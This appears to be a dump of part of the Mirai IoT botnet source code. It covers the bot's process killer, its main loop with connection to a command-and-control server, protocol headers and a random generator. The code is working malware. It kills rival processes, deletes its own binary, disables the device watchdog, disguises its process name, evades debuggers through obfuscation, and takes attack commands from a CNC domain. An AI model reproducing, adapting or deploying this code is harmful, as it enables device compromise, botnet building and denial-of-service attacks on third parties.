#endif 220 | kill(pid, 9); 221 | } 222 | 223 | /* 224 | if (upx_scan_match(exe_path, status_path)) 225 | { 226 | #ifdef DEBUG 227 | printf("[killer] UPX scan match for binary %s\n", exe_path); 228 | #endif 229 | kill(pid, 9); 230 | } 231 | */ 232 | 233 | // Don't let others memory scan!!! 234 | util_zero(exe_path, sizeof (exe_path)); 235 | util_zero(status_path, sizeof (status_path)); 236 | 237 | sleep(1); 238 | } 239 | 240 | closedir(dir); 241 | } 242 | 243 | #ifdef DEBUG 244 | printf("[killer] Finished\n"); 245 | #endif 246 | } 247 | 248 | void killer_kill(void) 249 | { 250 | kill(killer_pid, 9); 251 | } 252 | 253 | BOOL killer_kill_by_port(port_t port) 254 | { 255 | DIR *dir, *fd_dir; 256 | struct dirent *entry, *fd_entry; 257 | char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0}; 258 | int pid = 0, fd = 0; 259 | char inode[16] = {0}; 260 | char *ptr_path = path; 261 | int ret = 0; 262 | char port_str[16]; 263 | 264 | #ifdef DEBUG 265 | printf("[killer] Finding and killing processes holding port %d\n", ntohs(port)); 266 | #endif 267 | 268 | util_itoa(ntohs(port), 16, port_str); 269 | if (util_strlen(port_str) == 2) 270 | { 271 | port_str[2] = port_str[0]; 272 | port_str[3] = port_str[1]; 273 | port_str[4] = 0; 274 | 275 | port_str[0] = '0'; 276 | port_str[1] = '0'; 277 | } 278 | 279 | table_unlock_val(TABLE_KILLER_PROC); 280 | table_unlock_val(TABLE_KILLER_EXE); 281 | table_unlock_val(TABLE_KILLER_FD); 282 | 283 | fd = open("/proc/net/tcp", O_RDONLY); 284 | if (fd == -1) 285 | return 0; 286 | 287 | while (util_fdgets(buffer, 512, fd) != NULL) 288 | { 289 | int i = 0, ii = 0; 290 | 291 | while (buffer[i] != 0 && buffer[i] != ':') 292 | i++; 293 | 294 | if (buffer[i] == 0) continue; 295 | i += 2; 296 | ii = i; 297 | 298 | while (buffer[i] != 0 && buffer[i] != ' ') 299 | i++; 300 | buffer[i++] = 0; 301 | 302 | // Compare the entry in /proc/net/tcp to the hex value of the htons port 303 | if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1) 304 | { 305 | int column_index = 0; 306 | BOOL in_column = FALSE; 307 | BOOL listening_state = FALSE; 308 | 309 | while (column_index < 7 && buffer[++i] != 0) 310 | { 311 | if (buffer[i] == ' ' || buffer[i] == '\t') 312 | in_column = TRUE; 313 | else 314 | { 315 | if (in_column == TRUE) 316 | column_index++; 317 | 318 | if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A') 319 | { 320 | listening_state = TRUE; 321 | } 322 | 323 | in_column = FALSE; 324 | } 325 | } 326 | ii = i; 327 | 328 | if (listening_state == FALSE) 329 | continue; 330 | 331 | while (buffer[i] != 0 && buffer[i] != ' ') 332 | i++; 333 | buffer[i++] = 0; 334 | 335 | if (util_strlen(&(buffer[ii])) > 15) 336 | continue; 337 | 338 | util_strcpy(inode, &(buffer[ii])); 339 | break; 340 | } 341 | } 342 | close(fd); 343 | 344 | // If we failed to find it, lock everything and move on 345 | if (util_strlen(inode) == 0) 346 | { 347 | #ifdef DEBUG 348 | printf("Failed to find inode for port %d\n", ntohs(port)); 349 | #endif 350 | table_lock_val(TABLE_KILLER_PROC); 351 | table_lock_val(TABLE_KILLER_EXE); 352 | table_lock_val(TABLE_KILLER_FD); 353 | 354 | return 0; 355 | } 356 | 357 | #ifdef DEBUG 358 | printf("Found inode \"%s\" for port %d\n", inode, ntohs(port)); 359 | #endif 360 | 361 | if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL) 362 | { 363 | while ((entry = readdir(dir)) != NULL && ret == 0) 364 | { 365 | char *pid = entry->d_name; 366 | 367 | // skip all folders that are not PIDs 368 | if (*pid < '0' || *pid > '9') 369 | continue; 370 | 371 | util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); 372 | util_strcpy(ptr_path + util_strlen(ptr_path), pid); 373 | util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL)); 374 | 375 | if (readlink(path, exe, PATH_MAX) == -1) 376 | continue; 377 | 378 | util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); 379 | util_strcpy(ptr_path + util_strlen(ptr_path), pid); 380 | util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); 381 | if ((fd_dir = opendir(path)) != NULL) 382 | { 383 | while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0) 384 | { 385 | char *fd_str = fd_entry->d_name; 386 | 387 | util_zero(exe, PATH_MAX); 388 | util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); 389 | util_strcpy(ptr_path + util_strlen(ptr_path), pid); 390 | util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); 391 | util_strcpy(ptr_path + util_strlen(ptr_path), "/"); 392 | util_strcpy(ptr_path + util_strlen(ptr_path), fd_str); 393 | if (readlink(path, exe, PATH_MAX) == -1) 394 | continue; 395 | 396 | if (util_stristr(exe, util_strlen(exe), inode) != -1) 397 | { 398 | #ifdef DEBUG 399 | printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port)); 400 | #else 401 | kill(util_atoi(pid, 10), 9); 402 | #endif 403 | ret = 1; 404 | } 405 | } 406 | closedir(fd_dir); 407 | } 408 | } 409 | closedir(dir); 410 | } 411 | 412 | sleep(1); 413 | 414 | table_lock_val(TABLE_KILLER_PROC); 415 | table_lock_val(TABLE_KILLER_EXE); 416 | table_lock_val(TABLE_KILLER_FD); 417 | 418 | return ret; 419 | } 420 | 421 | static BOOL has_exe_access(void) 422 | { 423 | char path[PATH_MAX], *ptr_path = path, tmp[16]; 424 | int fd, k_rp_len; 425 | 426 | table_unlock_val(TABLE_KILLER_PROC); 427 | table_unlock_val(TABLE_KILLER_EXE); 428 | 429 | // Copy /proc/$pid/exe into path 430 | ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); 431 | ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp)); 432 | ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); 433 | 434 | // Try to open file 435 | if ((fd = open(path, O_RDONLY)) == -1) 436 | { 437 | #ifdef DEBUG 438 | printf("[killer] Failed to open()\n"); 439 | #endif 440 | return FALSE; 441 | } 442 | close(fd); 443 | 444 | table_lock_val(TABLE_KILLER_PROC); 445 | table_lock_val(TABLE_KILLER_EXE); 446 | 447 | if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1) 448 | { 449 | killer_realpath[k_rp_len] = 0; 450 | #ifdef DEBUG 451 | printf("[killer] Detected we are running out of `%s`\n", killer_realpath); 452 | #endif 453 | } 454 | 455 | util_zero(path, ptr_path - path); 456 | 457 | return TRUE; 458 | } 459 | 460 | /* 461 | static BOOL status_upx_check(char *exe_path, char *status_path) 462 | { 463 | int fd, ret; 464 | 465 | if ((fd = open(exe_path, O_RDONLY)) != -1) 466 | { 467 | close(fd); 468 | return FALSE; 469 | } 470 | 471 | if ((fd = open(status_path, O_RDONLY)) == -1) 472 | return FALSE; 473 | 474 | while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) 475 | { 476 | if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || 477 | mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || 478 | mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || 479 | mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || 480 | mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) 481 | { 482 | found = TRUE; 483 | break; 484 | } 485 | } 486 | 487 | //eyy 488 | 489 | close(fd); 490 | return FALSE; 491 | } 492 | */ 493 | 494 | static BOOL memory_scan_match(char *path) 495 | { 496 | int fd, ret; 497 | char rdbuf[4096]; 498 | char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard; 499 | int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len; 500 | BOOL found = FALSE; 501 | 502 | if ((fd = open(path, O_RDONLY)) == -1) 503 | return FALSE; 504 | 505 | table_unlock_val(TABLE_MEM_QBOT); 506 | table_unlock_val(TABLE_MEM_QBOT2); 507 | table_unlock_val(TABLE_MEM_QBOT3); 508 | table_unlock_val(TABLE_MEM_UPX); 509 | table_unlock_val(TABLE_MEM_ZOLLARD); 510 | 511 | m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len); 512 | m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len); 513 | m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len); 514 | m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len); 515 | m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len); 516 | 517 | while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) 518 | { 519 | if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || 520 | mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || 521 | mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || 522 | mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || 523 | mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) 524 | { 525 | found = TRUE; 526 | break; 527 | } 528 | } 529 | 530 | table_lock_val(TABLE_MEM_QBOT); 531 | table_lock_val(TABLE_MEM_QBOT2); 532 | table_lock_val(TABLE_MEM_QBOT3); 533 | table_lock_val(TABLE_MEM_UPX); 534 | table_lock_val(TABLE_MEM_ZOLLARD); 535 | 536 | close(fd); 537 | 538 | return found; 539 | } 540 | 541 | static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len) 542 | { 543 | int matches = 0; 544 | 545 | if (str_len > buf_len) 546 | return FALSE; 547 | 548 | while (buf_len--) 549 | { 550 | if (*buf++ == str[matches]) 551 | { 552 | if (++matches == str_len) 553 | return TRUE; 554 | } 555 | else 556 | matches = 0; 557 | } 558 | 559 | return FALSE; 560 | } 561 | -------------------------------------------------------------------------------- /mirai/bot/killer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "includes.h" 4 | 5 | #define KILLER_MIN_PID 400 6 | #define KILLER_RESTART_SCAN_TIME 600 7 | 8 | #define KILLER_REBIND_TELNET 9 | // #define KILLER_REBIND_SSH 10 | // #define KILLER_REBIND_HTTP 11 | 12 | void killer_init(void); 13 | void killer_kill(void); 14 | BOOL killer_kill_by_port(port_t); 15 | 16 | static BOOL has_exe_access(void); 17 | static BOOL memory_scan_match(char *); 18 | static BOOL status_upx_check(char *, char *); 19 | static BOOL mem_exists(char *, int, char *, int); 20 | -------------------------------------------------------------------------------- /mirai/bot/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #ifdef DEBUG 4 | #include 5 | #endif 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "includes.h" 19 | #include "table.h" 20 | #include "rand.h" 21 | #include "attack.h" 22 | #include "killer.h" 23 | #include "scanner.h" 24 | #include "util.h" 25 | #include "resolv.h" 26 | 27 | static void anti_gdb_entry(int); 28 | static void resolve_cnc_addr(void); 29 | static void establish_connection(void); 30 | static void teardown_connection(void); 31 | static void ensure_single_instance(void); 32 | static BOOL unlock_tbl_if_nodebug(char *); 33 | 34 | struct sockaddr_in srv_addr; 35 | int fd_ctrl = -1, fd_serv = -1; 36 | BOOL pending_connection = FALSE; 37 | void (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry 38 | 39 | #ifdef DEBUG 40 | static void segv_handler(int sig, siginfo_t *si, void *unused) 41 | { 42 | printf("Got SIGSEGV at address: 0x%lx\n", (long) si->si_addr); 43 | exit(EXIT_FAILURE); 44 | } 45 | #endif 46 | 47 | int main(int argc, char **args) 48 | { 49 | char *tbl_exec_succ; 50 | char name_buf[32]; 51 | char id_buf[32]; 52 | int name_buf_len; 53 | int tbl_exec_succ_len; 54 | int pgid, pings = 0; 55 | 56 | #ifndef DEBUG 57 | sigset_t sigs; 58 | int wfd; 59 | 60 | // Delete self 61 | unlink(args[0]); 62 | 63 | // Signal based control flow 64 | sigemptyset(&sigs); 65 | sigaddset(&sigs, SIGINT); 66 | sigprocmask(SIG_BLOCK, &sigs, NULL); 67 | signal(SIGCHLD, SIG_IGN); 68 | signal(SIGTRAP, &anti_gdb_entry); 69 | 70 | // Prevent watchdog from rebooting device 71 | if ((wfd = open("/dev/watchdog", 2)) != -1 || 72 | (wfd = open("/dev/misc/watchdog", 2)) != -1) 73 | { 74 | int one = 1; 75 | 76 | ioctl(wfd, 0x80045704, &one); 77 | close(wfd); 78 | wfd = 0; 79 | } 80 | chdir("/"); 81 | #endif 82 | 83 | #ifdef DEBUG 84 | printf("DEBUG MODE YO\n"); 85 | 86 | sleep(1); 87 | 88 | struct sigaction sa; 89 | 90 | sa.sa_flags = SA_SIGINFO; 91 | sigemptyset(&sa.sa_mask); 92 | sa.sa_sigaction = segv_handler; 93 | if (sigaction(SIGSEGV, &sa, NULL) == -1) 94 | perror("sigaction"); 95 | 96 | sa.sa_flags = SA_SIGINFO; 97 | sigemptyset(&sa.sa_mask); 98 | sa.sa_sigaction = segv_handler; 99 | if (sigaction(SIGBUS, &sa, NULL) == -1) 100 | perror("sigaction"); 101 | #endif 102 | 103 | LOCAL_ADDR = util_local_addr(); 104 | 105 | srv_addr.sin_family = AF_INET; 106 | srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR; 107 | srv_addr.sin_port = htons(FAKE_CNC_PORT); 108 | 109 | #ifdef DEBUG 110 | unlock_tbl_if_nodebug(args[0]); 111 | anti_gdb_entry(0); 112 | #else 113 | if (unlock_tbl_if_nodebug(args[0])) 114 | raise(SIGTRAP); 115 | #endif 116 | 117 | ensure_single_instance(); 118 | 119 | rand_init(); 120 | 121 | util_zero(id_buf, 32); 122 | if (argc == 2 && util_strlen(args[1]) < 32) 123 | { 124 | util_strcpy(id_buf, args[1]); 125 | util_zero(args[1], util_strlen(args[1])); 126 | } 127 | 128 | // Hide argv0 129 | name_buf_len = ((rand_next() % 4) + 3) * 4; 130 | rand_alphastr(name_buf, name_buf_len); 131 | name_buf[name_buf_len] = 0; 132 | util_strcpy(args[0], name_buf); 133 | 134 | // Hide process name 135 | name_buf_len = ((rand_next() % 6) + 3) * 4; 136 | rand_alphastr(name_buf, name_buf_len); 137 | name_buf[name_buf_len] = 0; 138 | prctl(PR_SET_NAME, name_buf); 139 | 140 | // Print out system exec 141 | table_unlock_val(TABLE_EXEC_SUCCESS); 142 | tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len); 143 | write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); 144 | write(STDOUT, "\n", 1); 145 | table_lock_val(TABLE_EXEC_SUCCESS); 146 | 147 | #ifndef DEBUG 148 | if (fork() > 0) 149 | return 0; 150 | pgid = setsid(); 151 | close(STDIN); 152 | close(STDOUT); 153 | close(STDERR); 154 | #endif 155 | 156 | attack_init(); 157 | killer_init(); 158 | #ifndef DEBUG 159 | #ifdef MIRAI_TELNET 160 | scanner_init(); 161 | #endif 162 | #endif 163 | 164 | while (TRUE) 165 | { 166 | fd_set fdsetrd, fdsetwr, fdsetex; 167 | struct timeval timeo; 168 | int mfd, nfds; 169 | 170 | FD_ZERO(&fdsetrd); 171 | FD_ZERO(&fdsetwr); 172 | 173 | // Socket for accept() 174 | if (fd_ctrl != -1) 175 | FD_SET(fd_ctrl, &fdsetrd); 176 | 177 | // Set up CNC sockets 178 | if (fd_serv == -1) 179 | establish_connection(); 180 | 181 | if (pending_connection) 182 | FD_SET(fd_serv, &fdsetwr); 183 | else 184 | FD_SET(fd_serv, &fdsetrd); 185 | 186 | // Get maximum FD for select 187 | if (fd_ctrl > fd_serv) 188 | mfd = fd_ctrl; 189 | else 190 | mfd = fd_serv; 191 | 192 | // Wait 10s in call to select() 193 | timeo.tv_usec = 0; 194 | timeo.tv_sec = 10; 195 | nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo); 196 | if (nfds == -1) 197 | { 198 | #ifdef DEBUG 199 | printf("select() errno = %d\n", errno); 200 | #endif 201 | continue; 202 | } 203 | else if (nfds == 0) 204 | { 205 | uint16_t len = 0; 206 | 207 | if (pings++ % 6 == 0) 208 | send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); 209 | } 210 | 211 | // Check if we need to kill ourselves 212 | if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd)) 213 | { 214 | struct sockaddr_in cli_addr; 215 | socklen_t cli_addr_len = sizeof (cli_addr); 216 | 217 | accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len); 218 | 219 | #ifdef DEBUG 220 | printf("[main] Detected newer instance running! Killing self\n"); 221 | #endif 222 | #ifdef MIRAI_TELNET 223 | scanner_kill(); 224 | #endif 225 | killer_kill(); 226 | attack_kill_all(); 227 | kill(pgid * -1, 9); 228 | exit(0); 229 | } 230 | 231 | // Check if CNC connection was established or timed out or errored 232 | if (pending_connection) 233 | { 234 | pending_connection = FALSE; 235 | 236 | if (!FD_ISSET(fd_serv, &fdsetwr)) 237 | { 238 | #ifdef DEBUG 239 | printf("[main] Timed out while connecting to CNC\n"); 240 | #endif 241 | teardown_connection(); 242 | } 243 | else 244 | { 245 | int err = 0; 246 | socklen_t err_len = sizeof (err); 247 | 248 | getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len); 249 | if (err != 0) 250 | { 251 | #ifdef DEBUG 252 | printf("[main] Error while connecting to CNC code=%d\n", err); 253 | #endif 254 | close(fd_serv); 255 | fd_serv = -1; 256 | sleep((rand_next() % 10) + 1); 257 | } 258 | else 259 | { 260 | uint8_t id_len = util_strlen(id_buf); 261 | 262 | LOCAL_ADDR = util_local_addr(); 263 | send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL); 264 | send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL); 265 | if (id_len > 0) 266 | { 267 | send(fd_serv, id_buf, id_len, MSG_NOSIGNAL); 268 | } 269 | #ifdef DEBUG 270 | printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR); 271 | #endif 272 | } 273 | } 274 | } 275 | else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd)) 276 | { 277 | int n; 278 | uint16_t len; 279 | char rdbuf[1024]; 280 | 281 | // Try to read in buffer length from CNC 282 | errno = 0; 283 | n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK); 284 | if (n == -1) 285 | { 286 | if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) 287 | continue; 288 | else 289 | n = 0; // Cause connection to close 290 | } 291 | 292 | // If n == 0 then we close the connection! 293 | if (n == 0) 294 | { 295 | #ifdef DEBUG 296 | printf("[main] Lost connection with CNC (errno = %d) 1\n", errno); 297 | #endif 298 | teardown_connection(); 299 | continue; 300 | } 301 | 302 | // Convert length to network order and sanity check length 303 | if (len == 0) // If it is just a ping, no need to try to read in buffer data 304 | { 305 | recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length 306 | continue; 307 | } 308 | len = ntohs(len); 309 | if (len > sizeof (rdbuf)) 310 | { 311 | close(fd_serv); 312 | fd_serv = -1; 313 | } 314 | 315 | // Try to read in buffer from CNC 316 | errno = 0; 317 | n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK); 318 | if (n == -1) 319 | { 320 | if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) 321 | continue; 322 | else 323 | n = 0; 324 | } 325 | 326 | // If n == 0 then we close the connection! 327 | if (n == 0) 328 | { 329 | #ifdef DEBUG 330 | printf("[main] Lost connection with CNC (errno = %d) 2\n", errno); 331 | #endif 332 | teardown_connection(); 333 | continue; 334 | } 335 | 336 | // Actually read buffer length and buffer data 337 | recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); 338 | len = ntohs(len); 339 | recv(fd_serv, rdbuf, len, MSG_NOSIGNAL); 340 | 341 | #ifdef DEBUG 342 | printf("[main] Received %d bytes from CNC\n", len); 343 | #endif 344 | 345 | if (len > 0) 346 | attack_parse(rdbuf, len); 347 | } 348 | } 349 | 350 | return 0; 351 | } 352 | 353 | static void anti_gdb_entry(int sig) 354 | { 355 | resolve_func = resolve_cnc_addr; 356 | } 357 | 358 | static void resolve_cnc_addr(void) 359 | { 360 | struct resolv_entries *entries; 361 | 362 | table_unlock_val(TABLE_CNC_DOMAIN); 363 | entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL)); 364 | table_lock_val(TABLE_CNC_DOMAIN); 365 | if (entries == NULL) 366 | { 367 | #ifdef DEBUG 368 | printf("[main] Failed to resolve CNC address\n"); 369 | #endif 370 | return; 371 | } 372 | srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len]; 373 | resolv_entries_free(entries); 374 | 375 | table_unlock_val(TABLE_CNC_PORT); 376 | srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL)); 377 | table_lock_val(TABLE_CNC_PORT); 378 | 379 | #ifdef DEBUG 380 | printf("[main] Resolved domain\n"); 381 | #endif 382 | } 383 | 384 | static void establish_connection(void) 385 | { 386 | #ifdef DEBUG 387 | printf("[main] Attempting to connect to CNC\n"); 388 | #endif 389 | 390 | if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) 391 | { 392 | #ifdef DEBUG 393 | printf("[main] Failed to call socket(). Errno = %d\n", errno); 394 | #endif 395 | return; 396 | } 397 | 398 | fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0)); 399 | 400 | // Should call resolve_cnc_addr 401 | if (resolve_func != NULL) 402 | resolve_func(); 403 | 404 | pending_connection = TRUE; 405 | connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in)); 406 | } 407 | 408 | static void teardown_connection(void) 409 | { 410 | #ifdef DEBUG 411 | printf("[main] Tearing down connection to CNC!\n"); 412 | #endif 413 | 414 | if (fd_serv != -1) 415 | close(fd_serv); 416 | fd_serv = -1; 417 | sleep(1); 418 | } 419 | 420 | static void ensure_single_instance(void) 421 | { 422 | static BOOL local_bind = TRUE; 423 | struct sockaddr_in addr; 424 | int opt = 1; 425 | 426 | if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1) 427 | return; 428 | setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int)); 429 | fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0)); 430 | 431 | addr.sin_family = AF_INET; 432 | addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR; 433 | addr.sin_port = htons(SINGLE_INSTANCE_PORT); 434 | 435 | // Try to bind to the control port 436 | errno = 0; 437 | if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) 438 | { 439 | if (errno == EADDRNOTAVAIL && local_bind) 440 | local_bind = FALSE; 441 | #ifdef DEBUG 442 | printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno); 443 | #endif 444 | 445 | // Reset addr just in case 446 | addr.sin_family = AF_INET; 447 | addr.sin_addr.s_addr = INADDR_ANY; 448 | addr.sin_port = htons(SINGLE_INSTANCE_PORT); 449 | 450 | if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) 451 | { 452 | #ifdef DEBUG 453 | printf("[main] Failed to connect to fd_ctrl to request process termination\n"); 454 | #endif 455 | } 456 | 457 | sleep(5); 458 | close(fd_ctrl); 459 | killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); 460 | ensure_single_instance(); // Call again, so that we are now the control 461 | } 462 | else 463 | { 464 | if (listen(fd_ctrl, 1) == -1) 465 | { 466 | #ifdef DEBUG 467 | printf("[main] Failed to call listen() on fd_ctrl\n"); 468 | close(fd_ctrl); 469 | sleep(5); 470 | killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); 471 | ensure_single_instance(); 472 | #endif 473 | } 474 | #ifdef DEBUG 475 | printf("[main] We are the only process on this system!\n"); 476 | #endif 477 | } 478 | } 479 | 480 | static BOOL unlock_tbl_if_nodebug(char *argv0) 481 | { 482 | // ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72 483 | char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12]; 484 | int i, ii = 0, c = 0; 485 | uint8_t fold = 0xAF; 486 | void (*obf_funcs[]) (void) = { 487 | (void (*) (void))ensure_single_instance, 488 | (void (*) (void))table_unlock_val, 489 | (void (*) (void))table_retrieve_val, 490 | (void (*) (void))table_init, // This is the function we actually want to run 491 | (void (*) (void))table_lock_val, 492 | (void (*) (void))util_memcpy, 493 | (void (*) (void))util_strcmp, 494 | (void (*) (void))killer_init, 495 | (void (*) (void))anti_gdb_entry 496 | }; 497 | BOOL matches; 498 | 499 | for (i = 0; i < 7; i++) 500 | c += (long)obf_funcs[i]; 501 | if (c == 0) 502 | return FALSE; 503 | 504 | // We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3 505 | for (i = 0; i < sizeof (buf_src); i += 3) 506 | { 507 | char tmp = buf_src[i]; 508 | 509 | buf_dst[ii++] = buf_src[i + 1]; 510 | buf_dst[ii++] = tmp; 511 | 512 | // Meaningless tautology that gets you right back where you started 513 | i *= 2; 514 | i += 14; 515 | i /= 2; 516 | i -= 7; 517 | 518 | // Mess with 0xAF 519 | fold += ~argv0[ii % util_strlen(argv0)]; 520 | } 521 | fold %= (sizeof (obf_funcs) / sizeof (void *)); 522 | 523 | #ifndef DEBUG 524 | (obf_funcs[fold])(); 525 | matches = util_strcmp(argv0, buf_dst); 526 | util_zero(buf_src, sizeof (buf_src)); 527 | util_zero(buf_dst, sizeof (buf_dst)); 528 | return matches; 529 | #else 530 | table_init(); 531 | return TRUE; 532 | #endif 533 | } 534 | -------------------------------------------------------------------------------- /mirai/bot/protocol.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include "includes.h" 6 | 7 | struct dnshdr { 8 | uint16_t id, opts, qdcount, ancount, nscount, arcount; 9 | }; 10 | 11 | struct dns_question { 12 | uint16_t qtype, qclass; 13 | }; 14 | 15 | struct dns_resource { 16 | uint16_t type, _class; 17 | uint32_t ttl; 18 | uint16_t data_len; 19 | } __attribute__((packed)); 20 | 21 | struct grehdr { 22 | uint16_t opts, protocol; 23 | }; 24 | 25 | #define PROTO_DNS_QTYPE_A 1 26 | #define PROTO_DNS_QCLASS_IP 1 27 | 28 | #define PROTO_TCP_OPT_NOP 1 29 | #define PROTO_TCP_OPT_MSS 2 30 | #define PROTO_TCP_OPT_WSS 3 31 | #define PROTO_TCP_OPT_SACK 4 32 | #define PROTO_TCP_OPT_TSVAL 8 33 | 34 | #define PROTO_GRE_TRANS_ETH 0x6558 35 | -------------------------------------------------------------------------------- /mirai/bot/rand.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "includes.h" 9 | #include "rand.h" 10 | 11 | static uint32_t x, y, z, w; 12 | 13 | void rand_init(void) 14 | { 15 | x = time(NULL); 16 | y = getpid() ^ getppid(); 17 | z = clock(); 18 | w = z ^ y; 19 | } 20 | 21 | uint32_t rand_next(void) //period 2^96-1 22 | { 23 | uint32_t t = x; 24 | t ^= t << 11; 25 | t ^= t >> 8; 26 | x = y; y = z; z = w; 27 | w ^= w >> 19; 28 | w ^= t; 29 | return w; 30 | } 31 | 32 | void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len 33 | { 34 | while (len > 0) 35 | { 36 | if (len >= 4) 37 | { 38 | *((uint32_t *)str) = rand_next(); 39 | str += sizeof (uint32_t); 40 | len -= sizeof (uint32_t); 41 | } 42 | else if (len >= 2) 43 | { 44 | *((uint16_t *)str) = rand_next() & 0xFFFF; 45 | str += sizeof (uint16_t); 46 | len -= sizeof (uint16_t); 47 | } 48 | else 49 | { 50 | *str++ = rand_next() & 0xFF; 51 | len--; 52 | } 53 | } 54 | } 55 | 56 | void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str 57 | { 58 | const char alphaset[] = "abcdefghijklmnopqrstuvw012345678"; 59 | 60 | while (len > 0) 61 | { 62 | if (len >= sizeof (uint32_t)) 63 | { 64 | int i; 65 | uint32_t entropy = rand_next(); 66 | 67 | for (i = 0; i < sizeof (uint32_t); i++) 68 | { 69 | uint8_t tmp = entropy & 0xff; 70 | 71 | entropy = entropy >> 8; 72 | tmp = tmp >> 3; 73 | 74 | *str++ = alphaset[tmp]; 75 | } 76 | len -= sizeof (uint32_t); 77 | } 78 | else 79 | { 80 | *str++ = rand_next() % (sizeof (alphaset)); 81 | len--; 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- 